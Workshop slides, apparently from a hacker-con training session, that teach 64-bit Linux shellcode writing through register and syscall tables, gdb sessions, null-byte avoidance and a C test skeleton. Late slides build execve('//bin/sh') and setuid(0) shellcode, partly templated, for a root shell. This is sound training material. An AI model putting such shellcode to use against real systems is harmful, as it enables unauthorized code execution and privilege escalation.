
Shellcoding Lab 64 BIT
(0x0f05)

0x7E0 @ berlinsides edition
by dash
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Wait! What?

- no it is still *not* shellscripting

- name comes from gaining a shell

- instructions are passed to cpu

- no extra compiling or linking needed

→ if injected into a process
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Typical Usage

Remote:

 - you want to gain code execution remotely

Local:

- privilege escalation

Userland:

- Pretty playing, good training
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Is this fun?!

- Enjoying assembly!

→ great to understand whats going on

→ coming from C its easy for you

- Exploit some or everything!

→ no chance without understanding a piece of 
assembly



May 29, 2016 h4ck 5

Is this fun?!

- Own a careless internet user!

→ I have this awesome ssh remote r00t here

- Be on a uberc00l hacker con and blather about!

→ Hi Aluc!
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Basics

- 64Bit *is* different from 32Bit

- 64Bit / 8 byte / 16 nibble

- different calling convention

- different usage of registers

- different syscall numbers
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Registers

- So, we have 64Bit Registers now!

- 16 Registers there are, young Padawan.

→ instead of having 8 on IA-32

- new Registers (almost) new names

- some look quite familiar
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Registers
(from Wikipedia)
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32BIT → 64BIT

 EAX → RAX – Accumulator

 ECX → RCX – Count Register

 EDX → RDX – Data Register

 EBX → RBX – Base Register

 ESI → RSI     – Stream Source

 EDI → RDI     – Stream Destination

 ESP → RSP   – Stack Pointer

 EBP → RBP   – Base Pointer
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Registers

 RAX – Accumulator

 RCX – Count Register

 RDX – Data Register

 RBX -  Base Register

 RSI – Stream Source

 RDI – Stream Dest. 

 R8 – R15 (new) 

 RSP – Stack Pointer

 → Points to next 
instruction

 RBP – Base Pointer

 → start of current stack 
frame
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A lot of words

- b is byte (yes, 1 whole byte ;))

- w is word (2 byte)

- d double word (4 byte)

- q quad word (8 byte) 

→ *note* there is no rXq for full addressing, its rX (e.g. r10)

→ also former general purpose registers go by their former 
name (e.g. rax → eax → ax → ah → al)

→ *note* for GDB it's giant word (e.g. x/20g $rsp)
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Registers – Syscall Arguments

Register Purpose Other

RAX Syscall Return Value!

RDI 1. Argument

RSI 2. Argument

RDX 3. Argument

R10 4. Argument

R8 5. Argument

R9 6. Argument
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Registers

- Different types of addressing!

- Register ↔ Argument!

- RAX also gets a return value (if not void)

- Legacy Registers just have an R now

→ simple, no?
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Instructions

xor rax, rax

→ null out register / xor register with value

mov rax, 60

→ copy decimal 60 into rax register

xchg rax,rbx

→ exchange register with register
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Instructions

inc rax

→ increase (+1) in rax

dec rax

→ decrease (-1) in rax

nop

→ mostly known from exploits, “no operation”
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Instructions

add rax,1

→ plus one to rax

sub rax,1

→ subtract one from rax

adc rax,1

→ add one to rax, but also check carry flag
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Instructions

jmp 

→ go to a subfunction (short jmp 1byte / near jmp 
2byte)

call h3ll

→ calls a subfunction

ret

→ this re-establishes stack pointer, (mov rsp, rbp)
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Instructions

push 0x41424344

→ push 4 byte on the stack

pop rsi

→ get the data from stack and fill it into rsi

→ stack consumption decreases to higher address

syscall

→ it is NOT anymore int 0x80, we just use 'syscall'

Now

→ 0x0f05 is the bytecode (not anymore 0xcd80)
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Cold Water plz

BITS 64

global _start

_start:

mov r10b,10

mov r10,10

mov r9,9

mov r11w,8000

mov r12d,0x41424344

mov r13,0x4142434445464748

xor rax, rax

mov al, 60

syscall

Compile it:

1. nasm -f elf64 -o test.o test.asm

2. nasm -f elf64 -o test2.o test.asm 
-O0

Compare both in objdump:

1. objdump -d test.o -M intel

2. objdump -d test2.o -M intel

Whats going on here?
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Cold Water plz
  With Optimization               W/O Optimization

   0:   41 b2 0a                  mov    r10b,0xa

   3:   41 ba 0a 00 00 00     mov    r10d,0xa

   9:   41 ba 0a 00 00 00     mov    r10d,0xa

   f:   41 b9 09 00 00 00      mov    r9d,0x9

  15:   66 41 bb 40 1f          mov    r11w,0x1f40

  1a:   41 bc 44 43 42 41     mov    r12d,0x41424344

  20:   49 bd 48 47 46 45 44    movabs 
r13,0x4142434445464748

  27:   43 42 41 

  2a:   48 31 c0                   xor    rax,rax

  2d:   b0 3c                        mov    al,0x3c

  2f:   0f 05                          syscall 

   0:   41 b2 0a                        mov    r10b,0xa

   3:   49 ba 0a 00 00 00 00    movabs r10,0xa

   a:   00 00 00 

   d:   49 ba 0a 00 00 00 00    movabs r10,0xa

  14:   00 00 00 

  17:   49 b9 09 00 00 00 00   movabs r9,0x9

  1e:   00 00 00 

  21:   66 41 bb 40 1f              mov    r11w,0x1f40

  26:   41 bc 44 43 42 41        mov    r12d,0x41424344

  2c:   49 bd 48 47 46 45 44   movabs 
r13,0x4142434445464748

  33:   43 42 41 

  36:   48 31 c0                        xor    rax,rax

  39:   b0 3c                            mov    al,0x3c

  3b:   0f 05                             syscall 
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Recap

- if not stated otherwise nasm will optimize the 
code

- use -O0 to disable optimization

- if you addressed rax, but the code uses eax, 
check for enabled optimization

→ check for different results with and without 
optimization
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Gdb - short

- gnu debugger

- available on all linux platforms and most unix*s

- not as nice as immunity debugger, but it does its job

- gdb ./<name> -q

- quitemode, we dont need the rest

- normal mode of gdb

- most commands have abbreviations
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Gdb - short

- break / b

→ set breakpoints, break _start / break main

- run / r

→ run forrest run!

- info registers / i r

→ show general purpose registers and segments

- disassembly / disas

→ current position in code
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GDB

$ gdb ./xchg -q

Reading symbols from ./xchg...(no debugging symbols found)...done.

(gdb) break _start

Breakpoint 1 at 0x400080

(gdb) run

Starting program: /home/user//Shellcode-Lab/64BIT/exchange_registers/xchg 

Breakpoint 1, 0x0000000000400080 in _start ()

(gdb) disas

Dump of assembler code for function _start:

=> 0x0000000000400080 <+0>:     xor    rax,rax

   0x0000000000400083 <+3>:     xor    rbx,rbx

   0x0000000000400086 <+6>:     movabs rax,0x29a

   0x0000000000400090 <+16>:    movabs rbx,0x539

   0x000000000040009a <+26>:    movabs r10,0xbeefbeefbeefbeef

   0x00000000004000a4 <+36>:    xchg   r10,rax

   0x00000000004000a6 <+38>:    xchg   r9,r10

   0x00000000004000a9 <+41>:    xchg   rbx,rax

   0x00000000004000ab <+43>:    xchg   rsp,rdi

End of assembler dump.

   (gdb) info registers

rax           0x0      0

rbx           0x0      0

rcx           0x0      0

rdx           0x0      0

rsi            0x0      0

rdi            0x0      0

rbp           0x0      0x0

rsp           0x7fffffffea40   0x7fffffffea40

r8             0x0      0

r9             0x0      0

r10           0x0      0

r11           0x0      0

r12           0x0      0

r13           0x0      0

r14           0x0      0

r15           0x0      0

rip            0x400080 0x400080 <_start>

eflags      0x202    [ IF ]

cs            0x33     51

ss            0x2b     43

ds            0x0      0

es            0x0      0

fs             0x0      0

gs            0x0      0
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Gdb - short

- step / s

→ until exit from function

- stepi / si

→ step instructions (we want that!)

- i r rax rbx r10

→ info registers only accumulator, base and r10

→ press enter again

→ last command will be repeated
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Gdb Intro

Breakpoint 1, 0x0000000000400080 in _start ()

(gdb) si

0x0000000000400083 in _start ()

(gdb) disas

Dump of assembler code for function _start:

   0x0000000000400080 <+0>:     xor    rax,rax

=> 0x0000000000400083 <+3>:     xor    rbx,rbx

   0x0000000000400086 <+6>:     movabs rax,0x29a

   0x0000000000400090 <+16>:    movabs rbx,0x539

   0x000000000040009a <+26>:    movabs r10,0xbeefbeefbeefbeef

   0x00000000004000a4 <+36>:    xchg   r10,rax

   0x00000000004000a6 <+38>:    xchg   r9,r10

   0x00000000004000a9 <+41>:    xchg   rbx,rax

   0x00000000004000ab <+43>:    xchg   rsp,rdi

End of assembler dump.

(gdb) si

0x0000000000400086 in _start ()

(gdb) si

0x0000000000400090 in _start ()

(gdb) disas

Dump of assembler code for function _start:

   0x0000000000400080 <+0>:     xor    rax,rax

   0x0000000000400083 <+3>:     xor    rbx,rbx

   0x0000000000400086 <+6>:     movabs rax,0x29a

=> 0x0000000000400090 <+16>:    movabs rbx,0x539

   0x000000000040009a <+26>:    movabs r10,0xbeefbeefbeefbeef

   0x00000000004000a4 <+36>:    xchg   r10,rax

   0x00000000004000a6 <+38>:    xchg   r9,r10

   0x00000000004000a9 <+41>:    xchg   rbx,rax

   0x00000000004000ab <+43>:    xchg   rsp,rdi

End of assembler dump.

   (gdb) info registers rax rbx rcx

rax            0x29a    666

rbx            0x0      0

rcx            0x0      0

(gdb) si

0x000000000040009a in _start ()

(gdb) 

0x00000000004000a4 in _start ()

(gdb) 

0x00000000004000a6 in _start ()

(gdb) info registers rax rbx rcx

rax            0xbeefbeefbeefbeef       
-4688318750159552785

rbx            0x539    1337

rcx            0x0      0
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GDB Intro

BITS 64

global _start

_start:

xor rax, rax

xor rbx, rbx

mov rax, 0x29A ; http://web.textfiles.com/ezines/29A/

mov rbx, 0x539

mov r10, 0xBEEFBEEFBEEFBEEF

xchg rax, r10

xchg r10, r9

xchg rbx, rax

xchg rdi,rsp

Compile it:

$ nasm -f elf64 -o xchg.o xchg.asm 
-O0

$ ld -o xchg xchg.o

Debug it with gdb.
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Byte Placement

- please check the both example codes in gdb

→ byte_placement_rax.asm

→ byte_placement_r10.asm

- what is the difference?
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Syscall Examples

32BIT
● exit    1
● read    3
● write   4
● open    5
● close   6
● execve  11  
● chdir   12  
● chmod   15  
● setuid  23  
● kill    37  
● reboot  88  
● socket  102 
● connect  102
● accept   102
● bind     102
● listen   102

64Bit
● exit    60
● read    0
● write   1
● open    2
● close   3
● execve  59
● chdir   80
● chmod   90
● setuid  105
● kill    62
● reboot  169
● socket  41
● connect 42
● accept  43
● bind    49
● listen  50
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Syscall

● What is a syscall?
● *nix using Syscalls!
● man 2 syscall
● Quite some differences in number 32/64bit

/usr/include/asm/unistd_32.h

/usr/include/asm/unistd_64.h
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Registers – Syscall Arguments

Register Purpose Other

RAX Syscall Return Value!

RDI 1. Argument

RSI 2. Argument

RDX 3. Argument

R10 4. Argument

R8 5. Argument

R9 6. Argument
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Syscall: exit

- man 2 exit

- void exit (int status)

- look up the syscall in unistd_64

- 60 or 3Ch

- we have one argument and no return code
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Convert decimal to hex

- python to rescue

python -c 'print hex(60)'

0x3c

- commandline

$ bc

obase=16

60

3C

- a million ways to do that (you could also do that in javascript ;) )
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Syscall: exit

Bits 64

global _start

_start:

mov     rax,0x3C

mov     rdi,4

syscall

 nasm -f elf64 exit.asm -o exit.o

 ld -o exit exit.o 

 $ ./exit ; echo $?

 4
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Syscall: exit
(nasm optimized)

Bits 64

global _start

; label _start

_start:

mov     rax,0x3C ; mov 60 to RAX

mov     rdi,4  ; mov 4 into RDI

syscall  ; execute the syscall

 nasm -f elf64 exit.asm -o exit.o

 ld -o exit exit.o 

 $ ./exit ; echo $?

 4

 0000000000400080 <_start>:

  400080:       b8 3c 00 00 00         mov    eax,0x3c

  400085:       bf 04 00 00 00          mov    edi,0x4

  40008a:       0f 05                         syscall 
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Syscall: exit
(nasm un-optimized -O0)

Bits 64

global _start

; label _start

_start:

mov     rax,0x3C ; mov 60 to RAX

mov     rdi,4  ; mov 4 into RDI

syscall  ; execute the syscall

 nasm -f elf64 exit.asm -o exit.o -O0

 ld -o exit exit.o 

 $ ./exit ; echo $?

 4

 0000000000400080 <_start>:

  400080:       48 31 c0                xor    rax,rax

  400083:       48 31 d2                xor    rdx,rdx

  400086:       b8 3c 00 00 00      mov    eax,0x3c

  40008b:       ba 04 00 00 00      mov    edx,0x4

  400090:       0f 05                      syscall 
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Exploit Skeleton

#include <stdio.h>

#include <string.h>

unsigned char code[] =”shellcode wants to be placed here!”;

main()

{

   printf("Shellcode Len: %d\n", (int)strlen(code));

   int (*ret)() = (int(*)())code;

   ret();

}
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Syscall: exit

- Linux Command Chain (Command Line Fu)

$ objdump -d ./exit|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 
's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

-Shellnoob Tool

$ shellnoob.py --from-obj exit --to-c exit.c

char shellcode[] = "\xb8\x3c\x00\x00\x00\xbf\x04\x00\x00\x00\x0f\x05";

- Place the shellcode and compile the skeleton

$ gcc -z execstack skeleton.c -o exit_shell

- Execute it

$ ./exit_shell 

shellcode len: 2
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Why god, whyyy?

- Why is the shellcode not working?

- For some reason the length is too short…

- Reasons:

* compiled it without -z execstack

* null bytes in the code



May 29, 2016 h4ck 44

Nullbytes

- The shellcode won't work this way!

- First we need to get rid of all nullbytes!

- Use only the parts of a register which are 
needed!

- Try to find alternative ways to use 0 without 

generating a null byte!



May 29, 2016 h4ck 45

Nullbytes

–------- Write a shellcode without nullbytes! -------
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Syscall: exit
(non-optimized by nasm)

Bits 64

global _start

_start:

xor       rax,rax

xor       rdx,rdx

mov     al,0x3C

mov     dil,4

syscall

 nasm -f elf64 exit.asm -o exit.o -O0

 ld -o exit exit.o 

 $ ./exit ; echo $?

 4

 

  0000000000400080 <_start>:

  400080:       48 31 c0                xor    rax,rax

  400083:       48 31 d2                xor    rdx,rdx

  400086:       b0 3c                     mov    al,0x3c

  400088:       40 b7 04                mov    dil,0x4

  40008b:       0f 05                      syscall 
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Exit Shellcode in Skeleton

//btw. if variable shellcode is const, its placed in a different segment and -z execstack is not needed

gcc skeleton.c -o exit -z execstack

./exit_shell ;echo $?

shellcode len: 13

4

/* skeleton for shellcode testing

   dash@hack4.org

*/

#include <stdio.h>

#include <string.h>

unsigned char code[]="\x48\x31\xc0\x48\x31\xd2\xb0\x3c\x40\xb7\x04\x0f\x05";

main()

{

   printf("Shellcode Len: %d\n", (int)strlen(code));

   int (*ret)() = (int(*)())code;

   ret();

}
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8BIT Registers
(oh there they are)

- You remember Wikipedia saying there is not 8Bit 
addressing?

- Well, lets check that again.
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8Bit Registers

BITS 64

global _start

_start:

mov spl, 1

mov bpl, 2

mov sil, 3

mov dil, 4

 nasm -f elf64 8bit.asm -o 8bit.o -O0

 ld -o 8bit 8bit.o 

 

  400080:       40 b4 01                mov    spl,0x1

  400083:       40 b5 02                mov    bpl,0x2

  400086:       40 b6 03                mov    sil,0x3

  400089:       40 b7 04                mov    dil,0x4
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8BIT Registers
(oh they are there)

- So, if you want to address 1byte only – go with 
that.
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Lessons learned

- how to address registers

- use objdump to check your shellcode

- workaround if addressing registers gets nasty

- avoid nullbytes

- keep in mind execstack / noexecstack

- or set char shellcode to constant
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Syscall: kill

- man 2 kill (what a cmdline)

- int kill(pid_t pid, int sig);

- pid – process id 

- sig – signal
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Syscall: kill

BITS 64

global _start

_start:

xor rax, rax

xor rdi, rdi

xor rsi, rsi

; fill arguments for syscall kill

mov dil, XXXX ; first argument

mov sil, XXXX ; second argument

mov al, XXXX ; syscall nr

syscall

 nasm -f elf64 kill.asm -o kill.o -O0

 ld -o kill kill.o 

 $ <process>

Killed
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Syscall: kill
(nasm un-optimized)

0000000000400080 <_start>:

400080:       48 31 c0     xor    rax,rax

400083:       48 31 ff       xor    rdi,rdi

400086:       48 31 f6      xor    rsi,rsi

400089:       40 b7 01     mov    dil,0x1

40008c:       40 b6 09     mov    sil,0x9

40008f:       b0 3e           mov    al,0x3e

400091:       0f 05           syscall 

 nasm -f elf64 kill_noexit.asm -o kill_noexit.o 
-O0

 ld -o kill_noexit kill_noexit.o 

 $ <process>

Killed
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Syscall: kill

$ ./kill_noexit 

Segmentation fault (core dumped)

$ strace ./kill_noexit

execve("./kill_noexit", ["./kill_noexit"], [/* 29 vars */]) = 0

kill(1, SIGKILL)                        = -1 EPERM (Operation not 
permitted)

--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, 
si_addr=0x9} ---

+++ killed by SIGSEGV (core dumped) +++

Segmentation fault (core dumped)
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Syscall: kill

- What happens if you don't have a exit call

- Not only killing a process also:

→ restart, read config, stop or continue

- Killer Shellcode? Kill all processes on the box

→ Don't do that :)
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Push

- Push values on the stack

- Yes, you get them into a register with pop

- byte/word/dword/(giant?)

[...]

push 0x41

push 0x4142

push 0x41424344

push 0x4142434445464748

[/..]

nasm -f elf64 push.asm -o push.o; ld -o push push.o

push.asm:14: warning: signed dword immediate exceeds bounds
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Push

BITS 64

global _start

_start:

push 0x41

push 0x4142

push 0x41424344

; lets comment that out

; push 0x4142434445464748 ← try to compile it with

---------------------------------------------------- null byte free version:

BITS 64

global _start

_start:

push byte 0x41

push word 0x4142

push dword 0x41424344

nasm -f elf64 push.asm -o push.o -O0; 
ld -o push push.o
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Push on 64 Bit

- Yes, it makes sense to specify what will be pushed

→ byte / word / dword

- Yes, on 32Bit you can push 4 bytes

- You cannot push 8byte onto the stack at 64Bit

- You need to work around it

- Simple mov is enough, drawback is more 
bytecode
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Push

nasm -f elf64 push_mov.asm -o 
push_mov.o -O0; ld -o push_mov 
push_mov.o

BITS 64

global _start

_start:

xor rax, rax ; clear register

; place 8byte in register rax

mov rax, 0x4142434445464748 

; push it on the stack

push rax 
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Recap: Push on 64 Bit

- < 5 byte push:

→ byte / word / dword

- > 4 byte push:

mov rax, 0x4142434445464748

push rax
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Syscall: write

- lets look into how to push strings on the stack

- print it to the current shell

- look up the syscall write – man 2 write

- systemcall from unistd._64.h
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Syscall: Write

- ssize_t write(int fd, const void *buf, size_t count);

- syscall nr is 1 or 0x1

- 3 Arguments

- we don't care about the return value

- write to stdout (stdin/stdout/stderr – 0/1/2 ) 

- string is pushed on the stack

- you need the length of the string
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Registers – Syscall Arguments

Register Purpose Other

RAX Syscall Return Value!

RDI 1. Argument

RSI 2. Argument

RDX 3. Argument

R10 4. Argument

R8 5. Argument

R9 6. Argument
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Push strings

How to place a string on the stack: 

- terminate the string

- newline the string (0x0a)

- record the length 

- convert string to hex

- print string backwards in hex

- split it into byte size of registers you use

- easy no?
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Push strings

Short version board tools (all in one):

print a[::-1].encode('hex')

Well...long version with extra library loaded:

In [11]: print a

- shellcoding at hack4 in 2015 -

In [12]: print a[::-1]

- 5102 ni 4kcah ta gnidocllehs -

convert it to hex:

import binascii

binascii.hexlify(a[::-1])

2d2035313032206e6920346b63616820746120676e69646f636c6c656873202d
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Syscall: Write
(Warning: the string in the code might be different)
BITS 64

global _start

;section .text:

_start:

xor rax, rax ; clear register

xor rdi, rdi ; clear register

push rax    ; ends the string

mov rax, 0x0a2035313032206e ; trick to place 8byte on the stack

push rax                    ; push it

mov rbx, 0x6920346b63616820 ; same same, but different

push rbx

mov rcx, 0x746120676e69646f

push rcx

mov rdx, 0x636c6c6568732020

push rdx

mov rsi,rsp     ; move address of stack pointer to our 2nd argument

xor rax, rax    ; clean the register

mov al,1        ; move syscall write into accumulator register

inc di          ; arg 1, increment xor'ed register to stdout

xor rdx, rdx

add dl,byte 32

syscall

mov al,60

xor rdi, rdi

syscall

0000000000400080 <_start>:

  400080:       48 31 c0                         xor    rax,rax

  400083:       48 31 ff                          xor    rdi,rdi

  400086:       50                                  push   rax

  400087:       48 b8 6e 20 32 30 31    movabs rax,0xa2035313032206e

  40008e:       35 20 0a 

  400091:       50                                  push   rax

  400092:       48 bb 20 68 61 63 6b    movabs rbx,0x6920346b63616820

  400099:       34 20 69 

  40009c:       53                                 push   rbx

  40009d:       48 b9 6f 64 69 6e 67    movabs rcx,0x746120676e69646f

  4000a4:       20 61 74 

  4000a7:       51                                  push   rcx

  4000a8:       48 ba 20 20 73 68 65    movabs rdx,0x636c6c6568732020

  4000af:       6c 6c 63 

  4000b2:       52                                 push   rdx

  4000b3:       48 89 e6                       mov    rsi,rsp

  4000b6:       48 31 c0                       xor    rax,rax

  4000b9:       b0 01                            mov    al,0x1

  4000bb:       66 ff c7                         inc    di

  4000be:       48 31 d2                       xor    rdx,rdx

  4000c1:       80 c2 20                       add    dl,0x20

  4000c4:       0f 05                            syscall 

  4000c6:       b0 3c                           mov    al,0x3c

  4000c8:       48 31 ff                        xor    rdi,rdi

  4000cb:       0f 05                            syscall 
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Recap

- How to push strings on the stack

- Backwards/Hex

- We cannot push 8 byte

→ use mov

- Remember the string terminator
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Syscall: Execve

 - int execve(const char *filename, char *const argv[],

                  char *const envp[]);

- how to print it in hex backwards another method:

> a=”//bin/sh”

> print a[::-1].encode('hex')

> 68732f6e69622f2f

- syscall execve from unistd_64:

59 or 3Bh
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Syscall: Execve

xor rax, rax

push    rax                                     ; null terminator for the string

mov     rbx, XXXXXXXXXXX  ; //bin/sh backwards

push    rbx                                     ;

mov     rdi, rsp                               ; move address from stack pointer to first 
argument

push    rax

push    rdi                                      ; actually we would not need this one

mov             rsi, rsp                       ; move the address to the 2nd argument

mov             rdx, rax                      ; no envp necessary

mov             al,X                            ; execve into rax

syscall

   0:   48 31 c0            xor    rax,rax

   3:   50                      push   rax

   4:   48 bb ………….    movabs 
rbx,0xXXXXXXXXXXXXXX

   B:   …….. 

   e:   53                      push   rbx

   f:   48 89 e7             mov    rdi,rsp

  12:   50                     push   rax

  13:   57                     push   rdi

  14:   48 89 e6           mov    rsi,rsp

  17:   48 89 c2           mov    rdx,rax

  1a:   b0 3b                mov    al,….

  1c:   0f 05                 syscall 
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Syscall: Execve

- gain a shell via it

- still same user privileges

- gaining a root shell needs us to use setuid 
syscall
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Execve + Setuid

 - Ok. Now setuid(0) call needs to be added

- You want to have r00t, don't you?
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Execve + Setuid

xor rax, rax

push rax

pop rdi                             
add al,0x69  

syscall                             
        

; add the execve 
shellcode, here

 <_start>:

48 31 c0 xor    rax,rax

50           push   rax

5f            pop    rdi

04 69      add    al,0x69

0f 05       syscall 
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Execve + Setuid

- Simple extra call, now a r00t shell. Easy as that.
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Other important syscalls

- everything in regard of sockets

- setuid / setgid / seteuid / setegid

- open / close / read / write

- fork / clone / chdir 

- strongly depends on what you want to do
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Other Shellcodes

- Now, the real fun part starts here:

→ bindshells

→ reverse shells

→ encoders / crypters / polymorphism

→ password protection

- But not today – sorry ;)
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Fin.
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